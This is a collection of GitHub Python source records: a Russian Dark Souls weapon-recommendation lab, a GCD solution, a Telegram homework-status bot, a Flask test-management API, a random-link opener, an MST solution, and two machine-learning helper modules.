self.append(tmp)\n    tmp = Node('Меч дракона', parent=Straight_Swords,fil = 0,\n                inf=weapon('Меч дракона', False, 6.0, 360, 200, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Балдерский меч', parent=Straight_Swords,fil = 0,\n                inf=weapon('Балдерский меч', False, 3.0, 120, 80, 100, 'E', 'B', '-', '-'))\n    self.append(tmp)\n    return (root)\n\ndef find_Weapon(self, name):\n    for item in self:\n        if item.name == name:\n            return item\n    return None\n#перевод исчисляемого строкового параметка в число\ndef str_to_number(self):\n    if self == 'E':\n        return 1\n    elif self == 'D':\n        return 2\n    elif self == 'C':\n        return 3\n    elif self == 'B':\n        return 4\n    elif self == 'A':\n        return 5\n    elif self == 'S':\n        return 6\n    else:\n        return 0\n#приведение информации по оружию в удобный для обработки вид\ndef preparation_data(self):\n    if self.coating == False:\n        self.coating = 0\n    else:\n        self.coating = 1\n    self.power = str_to_number(self.power)\n    self.agility = str_to_number(self.agility)\n    self.intellect = str_to_number(self.intellect)\n    self.belief = str_to_number(self.belief)\n#обнуление\ndef zero_fil(List):\n    for item in List:\n        item.fil = 0\n#для сортировки по фильтру\ndef key_func(item):\n    return item.fil\n#------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#Лабораторная работа 2\n#манхэттенское расстояние\ndef manhetten(weapon1, weapon2):\n    tmp1 = weapon1.coating + weapon1.strength + weapon1.physical_damage + weapon1.critical_damage + weapon1.power + weapon1.agility + weapon1.intellect + weapon1.belief+weapon1.weight\n    tmp2 = weapon2.coating + weapon2.strength + weapon2.physical_damage + weapon2.critical_damage + weapon2.power + weapon2.agility + weapon2.intellect + weapon2.belief+weapon2.weight\n    return abs(tmp1 - tmp2)\n#евклидово расстояние\ndef euclidian(weapon1, weapon2):\n    tmp = [pow(weapon1.coating-weapon2.coating,2),pow(weapon1.physical_damage-weapon2.physical_damage,2),pow(weapon1.critical_damage-weapon2.critical_damage,2),\n    pow(weapon1.power-weapon2.power,2),pow(weapon1.agility-weapon2.agility,2),pow(weapon1.intellect-weapon2.intellect,2),pow(weapon1.belief-weapon2.belief,2)]\n    return math.sqrt(sum(tmp))\n#близость по дереву\ndef tree_vicinity(weapon1, weapon2):\n    way1 = []\n    way2 = []\n    item1 = weapon1\n    item2 = weapon2\n    while not(item1 == None):\n        way1.append(item1)\n        item1 = item1.parent\n    while not(item2 == None):\n        way2.append(item2)\n        item2 = item2.parent\n    for i in range(1, len(way1)):\n        if way1[i] == way2[i]:\n            return (i*2)\n#коффициент корреляции\ndef corelation(weapon1, weapon2):\n    tmp1 = [weapon1.coating, weapon1.physical_damage, weapon1.critical_damage, weapon1.power, weapon1.agility, weapon1.intellect, weapon1.belief]\n    tmp2 = [weapon2.coating, weapon2.physical_damage, weapon2.critical_damage, weapon2.power, weapon2.agility, weapon2.intellect, weapon2.belief]\n    tmp1_sr = sum(tmp1)/7\n    tmp2_sr = sum(tmp2)/7\n    for i in range(7):\n         tmp1[i] = tmp1[i] - tmp1_sr\n         tmp2[i] = tmp2[i] - tmp2_sr\n    ch = 0\n    for i in range(7):\n        ch+= tmp1[i] * tmp2[i]\n    sig_x = 0\n    sig_y = 0\n    for i in range(7):\n        sig_x += pow(tmp1[i], 2)\n        sig_y += pow(tmp2[i], 2)\n    return(ch/(math.sqrt(sig_x*sig_y)))\n#основная функция\ndef lab2(root, leaves):\n    print(\"какие оружия ты бы хотел сравнить?\")\n    weapon1 = input()\n    weapon1 = find_Weapon(leaves, weapon1)\n    if weapon1 == None:\n        er = dictionary.error_find[random.choice(range(3))]\n        print(er)\n        return\n    weapon2 = input()\n    weapon2 = find_Weapon(leaves,weapon2)\n    if weapon2 == None:\n        er = dictionary.error_find[random.choice(range(3))]\n        print(er)\n        return\n    preparation_data(weapon1.inf)\n    preparation_data(weapon2.inf)\n    print('Манхетенское расстояние: {}'.format(manhetten(weapon1.inf, weapon2.inf)))\n    print('Евклидово расстояние: {}'.format(euclidian(weapon1.inf, weapon2.inf)) )\n    print('Близость по дереву:{}'.format(tree_vicinity(weapon1, weapon2)))\n    print('Корреляция: {}'.format(corelation(weapon1.inf, weapon2.inf)))\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#лабораторная работа 3\n#коллаборативная фильтрация на основе опыта других игроков(таблица)\ndef lab3(root, leaves):\n    df = pd.read_excel('Book1.xlsx', engine= 'openpyxl')\n    df = df.astype(str)\n    df = df.set_index('Оружие').T\n    df.to_excel('DataSet.xlsx', engine='openpyxl')\n    df = pd.read_excel('DataSet.xlsx', index_col=0, engine='openpyxl')\n    print(\"Скажи же, какое оружие ты используешь\")\n    name_weap = input()\n    find = ''\n    for row in df:\n        if row == name_weap:\n            find = row\n    if find == '':\n        er = dictionary.error_find[random.choice(range(3))]\n        print(er)\n        return\n    zero_fil(leaves)\n    for item in df:\n        if not(item == find):\n            i = 0\n            weapon1 = find_Weapon(leaves, item)\n            for item1 in df[item]:\n                if (item1 == 1) and (df[find][i] == 1):\n                    weapon1.fil +=1\n                i+=1\n    remove('DataSet.xlsx')\n    weapon1 = find_Weapon(leaves, find)\n    weapon.fil = -1\n    leaves.sort(reverse = True, key = key_func)\n    print(\"Я думаю, что тебе подойдет это оружие, взгляни:\")\n    i = 0\n    while i < 5:\n        print(leaves[i].name)\n        i+=1\n    zero_fil(leaves)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#лабораторная работа 4\n#Контентно-ориентированная фильтрация на основе разделения объектов по группам\ndef lab4(root, leaves):\n    df = pd.read_excel('Book2.xlsx', engine= 'openpyxl')\n    df = df.astype(str)\n    df = df.set_index('Оружие').T\n    df.to_excel('DataSet.xlsx', engine='openpyxl')\n    df = pd.read_excel('DataSet.xlsx', index_col=0, engine='openpyxl')\n    print(\"Скажи же, какое оружие ты используешь\")\n    name_weap = input()\n    find = ''\n    for row in df:\n        if row == name_weap:\n            find = row\n    if find == '':\n        er = dictionary.error_find[random.choice(range(3))]\n        print(er)\n        return\n    zero_fil(leaves)\n    weapon2 = find_Weapon(leaves, find)\n    for item in df:\n        if not(item == find):\n            i = 0\n            weapon1 = find_Weapon(leaves, item)\n            for item1 in df[item]:\n                if (item1 == 1) and (df[find][i] == 1):\n                    weapon1.fil +=1\n                i+=1\n            if weapon1.parent == weapon2.parent:\n                weapon1.fil +=1\n    remove('DataSet.xlsx')\n    weapon2.fil = -1\n    leaves.sort(reverse = True, key = key_func)\n    print(\"Я думаю, что тебе подойдет это оружие, взгляни:\")\n    i = 0\n    while i < 5:\n        print(leaves[i].name)\n        i+=1\n    zero_fil(leaves)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#лабораторная работа 5\n#тестирование оружий на соответствие параметрам\ndef par_filtr(List, coating, min_we, max_we, min_stre, max_stre, min_pd, max_pd, min_cd, max_cd, min_power, max_power, min_ag, max_ag, min_in, max_in, min_bel, max_bel):\n    for item in List:\n        if item.inf.coating == coating:\n            item.fil += 1\n        if item.inf.weight >= min_we and item.inf.weight <= max_we:\n            item.fil += 1\n        if item.inf.strength >= min_stre and item.inf.strength <= max_stre:\n            item.fil += 1\n        if item.inf.physical_damage >= min_pd and item.inf.physical_damage <= max_pd:\n            item.fil += 1\n        if item.inf.critical_damage >= min_cd and item.inf.critical_damage <= max_cd:\n            item.fil += 1\n        pw = str_to_number(item.inf.power)\n        ag = str_to_number(item.inf.agility)\n        inte = str_to_number(item.inf.intellect)\n        bel = str_to_number(item.inf.belief)\n        if pw >= min_power and pw <= max_power:\n            item.fil += 1\n        if ag >= min_ag and ag <= max_ag:\n            item.fil += 1\n        if inte >= min_in and inte <= max_in:\n            item.fil +=1\n        if bel >= min_bel and bel <= max_bel:\n            item.fil +=1\n#отсечение оружий невыбраных типов\ndef unsearch(List):\n    for item in List:\n        if item.parent.parent.parent.fil == 0:\n            item.fil = -1\n#главная функция\ndef lab5(root, leaves):\n    print(\"Ты хочешь оружие ближнего или дальнего боя(0 или 1)?\")\n    sloy2 = input()\n    if sloy2 == 'ближнего' or sloy2 == 'ближнего боя':\n        sloy2 = 0\n    elif sloy2 == 'дальнего' or sloy2 == 'дальнего боя':\n        sloy2 = 1\n    else:\n        pr =dictionary.error_in[random.choice(range(3))]\n        print(pr)\n        return\n    root.children[sloy2].fil = 1\n    print(\"Нужна ли возможность усиления? \")\n    coating =input()\n    if coating == 'да':\n        coating = True\n    elif coating == 'нет':\n        coating = False\n    else:\n        pr =dictionary.error_in[random.choice(range(3))]\n        print(pr)\n        return\n    print(\"Какой диапазон веса оружия? \")\n    min_we = float(input())\n    max_we = float(input())\n    print(\"Какой диапазон прочности оружия? \")\n    min_stre = int(input())\n    max_stre = int(input())\n    print(\"Какой диапазон физ. урона оружия? \")\n    min_pd = int(input())\n    max_pd = int(input())\n    print(\"Какой диапазон крит. урона оружия? \")\n    min_cd = int(input())\n    max_cd = int(input())\n    print(\"Какой диапазон усиления от параметра силы? \")\n    min_power = input()\n    min_power = str_to_number(min_power)\n    max_power = input()\n    max_power = str_to_number(max_power)\n    print(\"Какой диапазон усиления от параметра ловкости? \")\n    min_ag = input()\n    min_ag = str_to_number(min_ag)\n    max_ag = input()\n    max_ag = str_to_number(max_ag)\n    print(\"Какой диапазон усиления от параметра интеллекта? \")\n    min_in = input()\n    min_in = str_to_number(min_in)\n    max_in = input()\n    max_in = str_to_number(max_in)\n    print(\"Какой диапазон усиления от параметра веры? \")\n    min_bel = input()\n    min_bel = str_to_number(min_bel)\n    max_bel = input()\n    max_bel = str_to_number(max_bel)\n    zero_fil(leaves)\n    par_filtr(leaves, coating,min_we, max_we, min_stre, max_stre, min_pd, max_pd, min_cd, max_cd, min_power, max_power, min_ag, max_ag, min_in, max_in, min_bel, max_bel)\n    unsearch(leaves)\n    leaves.sort(reverse = True, key = key_func)\n    if not(leaves[0].fil == 9):\n        print(\"К сожалению я не нашла оружия, которое бы удовлетворило твои желания, но возможно тебе понравится это:\")\n        j = 0\n        while leaves[j].fil >-1 and j < 5:\n            print(leaves[j].name)\n            j+=1\n    else:\n        print(\"Я думаю, что тебе подойдет это оружие, взгляни:\")\n        i = 0\n        while leaves[i].fil == 9:\n            print(leaves[i].name)\n            i+=1\n    zero_fil(leaves)\n    root.children[sloy2].fil = 0\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#компиляция лабораторных работ в виде диалога с игроком\ndef start():\n    leaves = []\n    tree = init_tree(leaves)\n    print(\"Приветствую тебя, Избранная Нежить! Я Хранительница Костра. Я могу помочь тебе в твох нелегких странствиях, обращайся, если понадобится помощь.\")\n    while 1:\n        pr = dictionary.menu[random.choice(range(3))]\n        print(pr,\"\\n1.Рассказать тебе об оружии\\n2.Сравнить 2 любых оружия\\n3.Обратиться к мультивселенскому разуму и предложить тебе оружие на основе опыта других воинов\\n4.Предложить тебе оружие похожее на твоё\\n5.Подобрать оружие по твоим предпочтениям\\n(6.уйти)\")\n        question_words = input().split()\n        normalForm_words = []\n        for word in question_words:\n            normalForm_words.append(dictionary.getNormalForm(word))\n        com = dictionary.getArrayOfTags(normalForm_words)\n        if com in dictionary.chek1:\n            print (\"в следующих патчах\")\n        elif com in dictionary.chek2:\n            print (\"Давай взглянем на них\")\n            lab2(tree, leaves)\n        elif com in dictionary.chek3:\n            lab3(tree, leaves)\n        elif com in dictionary.chek4:\n            lab4(tree, leaves)\n        elif com in dictionary.chek5:\n            print(\"Расскажи, чего ты желаешь\")\n            lab5(tree, leaves)\n        elif com in dictionary.chek6:\n            pr =dictionary.parting[random.choice(range(3))]\n            print(pr)\n            break\n        else:\n            pr =dictionary.error_in[random.choice(range(3))]\n            print(pr)\n\nif __name__ == '__main__':\n    start()\n","repo_name":"Litvinov-Boris/SII_DS_Labs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22626,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16451221639","text":"def gcd(a, b):\n    \"\"\"\n    Implementation of Stein's algorithm\n    for finding Greatest Common Divisor\n    \"\"\"\n    if a == b:\n        return a\n    if a == 0:\n        return b\n    if b == 0:\n        return a\n\n    if ~a & 1:  # is a even\n        if ~b & 1:  # is b even\n            return gcd(a >> 1, b >> 1) << 1\n        else:\n            return gcd(a >> 1, b)\n\n    if ~b & 1:  # a is odd, checks if b is even\n        return gcd(a, b >> 1)\n\n    if a > b:\n        return gcd((a - b) >> 1, b)\n    else:\n        return gcd((b - a) >> 1, a)\n\n\ndef simplify_fraction(fraction):\n    if fraction[1] == 0:\n        raise Exception(\"Cannot devide by zero!!!\")\n\n    return (fraction[0] // gcd(*fraction),\n            fraction[1] // gcd(*fraction))\n\n","repo_name":"NikiMaslarski/HackBulgari_Programming101","sub_path":"Week0/Day2/simplify_fraction/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24843946269","text":"import logging\nimport os\nimport sys\nimport time\nimport requests\nfrom http import HTTPStatus\nfrom dotenv import load_dotenv\nimport telegram\n\nimport exceptions\n\nload_dotenv()\n\n\nPRACTICUM_TOKEN = os.getenv('PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('TELEGRAM_CHAT_ID')\n\nRETRY_PERIOD = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\n\nHOMEWORK_VERDICTS = {\n    'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n    'reviewing': 'Работа взята на проверку ревьюером.',\n    'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\nMISSING_TOKENS = 'Отсутствуют обязательные переменные окружения'\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    filename='main.log',\n    format='%(asctime)s, %(levelname)s, %(message)s'\n)\n\n\ndef check_tokens():\n    \"\"\"Функция проверки наличия переменных окружения.\"\"\"\n    tokens = (PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID)\n    return all(tokens)\n\n\ndef send_message(bot, message):\n    \"\"\"Фукция отправляет сообщение в Telegram чат.\"\"\"\n    try:\n        logging.debug('Отправка сообщения в Telegram.')\n        bot.send_message(TELEGRAM_CHAT_ID, message)\n        logging.debug('Сообщение в Telegram успешно отправлено.')\n    except Exception as error:\n        logging.error(f'Ошибка при отправке сообщения: {error}')\n\n\ndef get_api_answer(timestamp):\n    \"\"\"Запрос к API-Yandex.Practicum.\"\"\"\n    payload = {'from_date': timestamp}\n    try:\n        response = requests.get(\n            ENDPOINT,\n            headers=HEADERS,\n            params=payload\n        )\n        response_content = response.json()\n        if response.status_code == HTTPStatus.OK:\n            return response_content\n        else:\n            raise exceptions.InvalidHttpStatus(\n                'Ошибка запроса к API Yandex.Practicum: ',\n                f'Код ответа: {response_content.get(\"code\")}',\n                f'Ответ сервера: {response_content.get(\"message\")}'\n            )\n    except requests.exceptions.RequestException as error:\n        logging.error(\n            f'Сбой при запросе к сервису API: {error}.'\n        )\n\n\ndef check_response(response):\n    \"\"\"Проверка ответа API Yandex.Practicum.\"\"\"\n    if not isinstance(response, dict):\n        raise TypeError(\n            'Ответ сервиса API не является словарем.'\n        )\n    if not response.get('current_date'):\n        raise KeyError(\n            'Ключ сurrent_date в ответе API отсутствует'\n        )\n    if not response.get('homeworks'):\n        raise KeyError(\n            'Ключ homeworks в ответе API отсутствует'\n        )\n    homeworks = response.get('homeworks')\n    if not isinstance(homeworks, list):\n        raise TypeError(\n            'В ответе API под ключом homeworks данные не являются списком'\n        )\n    return homeworks\n\n\ndef parse_status(homework):\n    \"\"\"Проверка статуса домашнего задания.\"\"\"\n    homework_name = homework.get('homework_name')\n    homework_status = homework.get('status')\n    if not homework_name:\n        raise KeyError(\n            'Ключ homework_name в ответе API отсутствует'\n        )\n    if homework_status not in HOMEWORK_VERDICTS:\n        raise exceptions.UnknownHomeworkStatus\n    verdict = HOMEWORK_VERDICTS.get(homework_status)\n    return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n\n\ndef main():\n    \"\"\"Основная логика работы бота.\"\"\"\n    if not check_tokens():\n        logging.critical(MISSING_TOKENS)\n        sys.exit(MISSING_TOKENS)\n    bot = telegram.Bot(token=TELEGRAM_TOKEN)\n    timestamp = int(time.time()) - 604800\n\n    while True:\n        try:\n            response = get_api_answer(timestamp)\n            homeworks = check_response(response)\n            for homework in homeworks:\n                message = parse_status(homework)\n                send_message(bot, message)\n            timestamp = int(time.time())\n            time.sleep(RETRY_PERIOD)\n\n        except Exception as error:\n            message = f'Сбой в работе программы: {error}'\n            send_message(bot, message)\n            time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"suranovab/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8048312570","text":"import json\nfrom datetime import datetime\nfrom typing import List\n\nfrom flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napi = Api(app)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://test:test@2020@192.168.147.131:3306/lagou'\ndb = SQLAlchemy(app)\n\n\n@app.route('/')\ndef hello_world():\n    return 'Hello, World!'\n\n\nclass TestCase(db.Model):\n    __tablename__ = 'testcase'\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(80), unique=True, nullable=False)\n    description = db.Column(db.String(120), nullable=True)\n    steps = db.Column(db.String(1024), nullable=True)\n\n    def __repr__(self):\n        return '<User %r>' % self.username\n\n\nclass Task(db.Model):\n    __tablename__ = 'task'\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(80), unique=True, nullable=False)\n    description = db.Column(db.String(120), nullable=True)\n    start_time = db.Column(db.DateTime, nullable=True)\n    end_time = db.Column(db.DateTime, nullable=True)\n    create_time = db.Column(db.DateTime, default=datetime.now)\n    update_time = db.Column(db.DateTime, default=datetime.now, onupdate=datetime.now)\n    status = db.Column(db.Integer, default=0)\n\n    def __repr__(self):\n        return '<User %r>' % self.username\n\n\n# 测试任务和测试用例的关联关系表\nclass TaskTestCase(db.Model):\n    __tablename__ = 'task_testcase'\n    id = db.Column(db.Integer, primary_key=True)\n    task_id = db.Column(db.Integer)\n    testcase_id = db.Column(db.Integer)\n\n    def __repr__(self):\n        return '<User %r>' % self.username\n\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(80), nullable=False)\n    create_time = db.Column(db.DateTime, default=datetime.now)\n    description = db.Column(db.String(120), nullable=True)\n\n\nclass TestCaseService(Resource):\n    def get(self):\n        testcases: List[TestCase] = TestCase.query.all()\n        res = [{\n            'id': testcase.id,\n            'name': testcase.name,\n            'description': testcase.description,\n            'steps': json.loads(testcase.steps)\n        } for testcase in testcases]\n        return {\n            'body': res\n        }\n\n    def post(self):\n        testcase = TestCase(\n            name=request.json.get('name'),\n            description=request.json.get('description'),\n            steps=json.dumps(request.json.get('steps'))\n        )\n        db.session.add(testcase)\n        db.session.commit()\n        return {\n            'msg': 'ok'\n        }\n\n\nclass TaskService(Resource):\n    def get(self):\n        id = request.args.get('id')\n        print('id:', id)\n        res_testcase = []\n        if id:\n            task = Task.query.filter_by(id=id).first()\n            task_cases = TaskTestCase.query.filter_by(task_id=id).all()\n            for task_case in task_cases:\n                testcase = TestCase.query.filter_by(id=task_case.testcase_id).first()\n                res_testcase += [{\n                    'id': testcase.id,\n                    'name': testcase.name,\n                    'description': testcase.description,\n                    'steps': json.loads(testcase.steps)\n                }]\n            print('res_testcase:', res_testcase)\n            return {\n                'body': [{\n                    'id': task.id,\n                    'name': task.name,\n                    'description': task.description,\n                    'start_time': str(task.start_time),\n                    'end_time': str(task.end_time),\n                    'status': task.status,\n                    'testcases': res_testcase\n                }]\n            }\n        else:\n            tasks: List[Task] = Task.query.all()\n            res_task = []\n            for task in tasks:\n                res_testcase = []\n                task_cases = TaskTestCase.query.filter_by(task_id=task.id).all()\n                for task_case in task_cases:\n                    testcase = TestCase.query.filter_by(id=task_case.testcase_id).first()\n                    res_testcase += [{\n                        'id': testcase.id,\n                        'name': testcase.name,\n                        'description': testcase.description,\n                        'steps': json.loads(testcase.steps)\n                    }]\n                res_task += [{\n                    'id': task.id,\n                    'name': task.name,\n                    'description': task.description,\n                    'start_time': str(task.start_time),\n                    'end_time': str(task.end_time),\n                    'status': task.status,\n                    'testcases': res_testcase\n                }]\n\n            return {\n                'body': res_task\n            }\n\n    def post(self):\n        task = Task(\n            name=request.json.get('name'),\n            description=request.json.get('description'),\n            start_time=request.json.get('start_time'),\n            end_time=request.json.get('end_time')\n        )\n        db.session.add(task)\n        db.session.commit()\n        name = request.json.get('name')\n        print(\"name:\", name)\n        task = Task.query.filter_by(name=name).first()\n        print('task', task.id)\n        for testcase_id in request.json.get('testcase_ids'):\n            task_testcase = TaskTestCase(\n                task_id=task.id,\n                testcase_id=testcase_id\n            )\n            db.session.add(task_testcase)\n        db.session.commit()\n        return {\n            'msg': 'ok'\n        }\n\n    def put(self):\n        task_id = request.json.get('id')\n        task = Task.query.filter_by(id=task_id).first()\n        task_cases = TaskTestCase.query.filter_by(task_id=task_id).all()\n        task.name=request.json.get('name')\n        task.description = request.json.get('description')\n        task.start_time = request.json.get('start_time')\n        task.end_time = request.json.get('end_time')\n        task.update_time = datetime.now()\n        for task_case in task_cases:\n            db.session.delete(task_case)\n        for testcase_id in request.json.get('testcase_ids'):\n            task_testcase = TaskTestCase(\n                task_id=task.id,\n                testcase_id=testcase_id\n            )\n            db.session.add(task_testcase)\n        db.session.commit()\n        return {\n            'msg': 'ok'\n        }\n\n    def delete(self):\n        id = request.json.get('id')\n        print('id:', id)\n        task = Task.query.get(id)\n        task_cases = TaskTestCase.query.filter_by(task_id=id).all()\n        for task_case in task_cases:\n            db.session.delete(task_case)\n        db.session.delete(task)\n        db.session.commit()\n        return {\n            'msg': 'ok'\n        }\n\n\nclass ReportService(Resource):\n    def get(self):\n        pass\n\n\napi.add_resource(TestCaseService, '/testcase')\napi.add_resource(TaskService, '/task')\napi.add_resource(ReportService, '/report')\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"zhuozx/pywork","sub_path":"platform/src/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":7047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36356562469","text":"from bs4 import BeautifulSoup\nimport requests\nimport random\nimport re\nimport webbrowser\nimport sys\nsys.path.append(\"..\")\n\nfrom asset.modules.OpenUrl.openurl import openweb\nfrom asset.modules.playvideo.play import playthis\n\ndef boredomKiller():\n    options = [\"youtube\",\"fossbytes\",\"moz\"]\n    options = options[random.randint(0,len(options))]\n\n    if options == \"youtube\":\n        html = requests.get(\"https://www.youtube.com/feed/trending\")\n        soup = BeautifulSoup(html.text,\"html.parser\")\n        finalResults = []\n        for link in soup.findAll('a', attrs={'href': re.compile(\"^/watch\")}):\n            finalResults.append(link.get('href'))\n        \n        uselink = \"https://www.youtube.com\"+finalResults[random.randint(0,len(finalResults))]\n        playthis(uselink)\n\n    elif options == \"fossbytes\":\n        html = requests.get(\"https://fossbytes.com/most-useful-websites-internet/\")\n        soup = BeautifulSoup(html.text,\"html.parser\")\n        results = []\n        for link in soup.findAll('a', attrs={'href': re.compile(\"^http|https\")}):\n            results.append(link.get('href'))\n        finalResults = [result for result in results if not re.search(\"fossbytes\",result)]\n        \n        uselink = finalResults[random.randint(0,len(finalResults)-1)]\n        webbrowser.open(uselink,new=2)\n    \n    else:\n        html = requests.get(\"https://moz.com/top500\")\n        soup = BeautifulSoup(html.text,\"html.parser\")\n        results = []\n        for link in soup.findAll('a', attrs={'href': re.compile(\"^http|https\")}):\n            results.append(link.get('href'))\n        finalResults = [result for result in results if not re.search(\"moz\",result)]\n        uselink = finalResults[random.randint(0,len(finalResults)-1)]\n        webbrowser.open(uselink,new=2)","repo_name":"ugroot/GROOT","sub_path":"bored.py","file_name":"bored.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"77"}
+{"seq_id":"4256042029","text":"import sys\r\n# from collections import defaultdict\r\n# from collections import deque\r\n# import bisect\r\n# from heapq import heappop, heappush\r\nimport math\r\n# sys.setrecursionlimit(1000000)\r\ninput = sys.stdin.readline\r\nINF = 1000000000\r\nMOD = 1000000003\r\n\r\n\r\ndef find(i):\r\n    if par[i] == -1:\r\n        return i\r\n    else:\r\n        par[i] = find(par[i])\r\n        return par[i]\r\n\r\n\r\ndef merge(u, v):\r\n    u = find(u)\r\n    v = find(v)\r\n    if u == v:\r\n        return\r\n    par[u] = v\r\n\r\n\r\ndef dist(i, j):\r\n    x1, y1 = pos[i]\r\n    x2, y2 = pos[j]\r\n    return math.sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2))\r\n\r\n\r\nn, m = map(int, input().split())\r\npar = [-1]*(n+1)\r\npos = {}\r\nfor i in range(1, n+1):\r\n    x, y = map(int, input().split())\r\n    pos[i] = (x, y)\r\nfor _ in range(m):\r\n    i, j = map(int, input().split())\r\n    merge(i, j)\r\nans = 0\r\nadj = []\r\nfor i in range(1, n+1):\r\n    for j in range(i+1, n+1):\r\n        adj.append((dist(i, j), i, j))\r\nadj.sort()\r\nfor val, i, j in adj:\r\n    if find(i) == find(j):\r\n        continue\r\n    ans += val\r\n    merge(i, j)\r\nprint(format(ans, \".2f\"))","repo_name":"chwoong/algorithm","sub_path":"1000/1774.py","file_name":"1774.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21188507961","text":"# -*- encoding: utf-8 -*-\n'''\n@create_time: 2022/07/29 16:17:13\n@author: lichunyu\n'''\nimport sys\n\nfrom transformers.modeling_utils import unwrap_model\nimport torch.nn as nn\n\nfrom .._base.base_trainer import BaseTrainer\n\n\nclass ModelTrainer(BaseTrainer):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def compute_loss(self, model, inputs, return_outputs=False):\n        if \"labels\" in inputs:\n            labels = inputs.pop(\"labels\")\n        else:\n            labels = None\n        grid_labels = labels\n        grid_mask2d = inputs[\"grid_mask2d\"]\n\n        outputs = model(**inputs)\n        loss_fn = nn.CrossEntropyLoss()\n        loss = loss_fn(outputs[grid_mask2d], grid_labels[grid_mask2d])\n\n        return (loss, outputs) if return_outputs else loss","repo_name":"EeyoreLee/EarleeNLP","sub_path":"models/w2ner/trainer_w2ner.py","file_name":"trainer_w2ner.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"13351324701","text":"\nfrom typing import Dict, Any, Optional\nfrom returnn.tf.layers.basic import PoolLayer\nfrom .module import Module\nfrom .utils import _ntuple\nfrom ..common_types import _size_any_t\nfrom ...tensor import Tensor\n\n\nclass _MaxPoolNd(Module):\n  nd: Optional[int] = None  # set in subclass\n  return_indices: bool\n  ceil_mode: bool\n\n  def __init__(self, kernel_size: _size_any_t, stride: Optional[_size_any_t] = None,\n               padding: _size_any_t = 0, dilation: _size_any_t = 1,\n               return_indices: bool = False, ceil_mode: bool = False) -> None:\n    super(_MaxPoolNd, self).__init__()\n    self.kernel_size = _ntuple(self.nd)(kernel_size)\n    self.stride = _ntuple(self.nd)(stride) if (stride is not None) else _ntuple(self.nd)(kernel_size)\n    self.padding = _ntuple(self.nd)(padding)\n    self.dilation = _ntuple(self.nd)(dilation)\n    self.return_indices = return_indices\n    self.ceil_mode = ceil_mode\n\n  def create_returnn_layer_dict(self, input: Tensor) -> Dict[str, Any]:\n    assert not self.return_indices  # not implemented\n    assert not self.ceil_mode  # not implemented (or maybe ignore?)\n    assert all(p == 0 for p in self.padding)  # not implemented\n    return {\n      \"class\": \"pool\", \"mode\": \"max\", \"from\": self._get_input_layer_name(input),\n      \"pool_size\": self.kernel_size,\n      \"dilation_rate\": self.dilation,\n      \"strides\": self.stride,\n      \"padding\": \"valid\",\n      \"in_spatial_dims\": [self._get_input_axis_to_returnn(input, dim) for dim in range(-self.nd, 0)],\n    }\n\n\nclass MaxPool1d(_MaxPoolNd):\n  nd = 1\n\n\nclass MaxPool2d(_MaxPoolNd):\n  nd = 2\n\n\n__all__ = [\n  key for (key, value) in sorted(globals().items())\n  if not key.startswith(\"_\")\n  and getattr(value, \"__module__\", \"\") == __name__]\n","repo_name":"rwth-i6/pytorch-to-returnn","sub_path":"pytorch_to_returnn/torch/nn/modules/pooling.py","file_name":"pooling.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
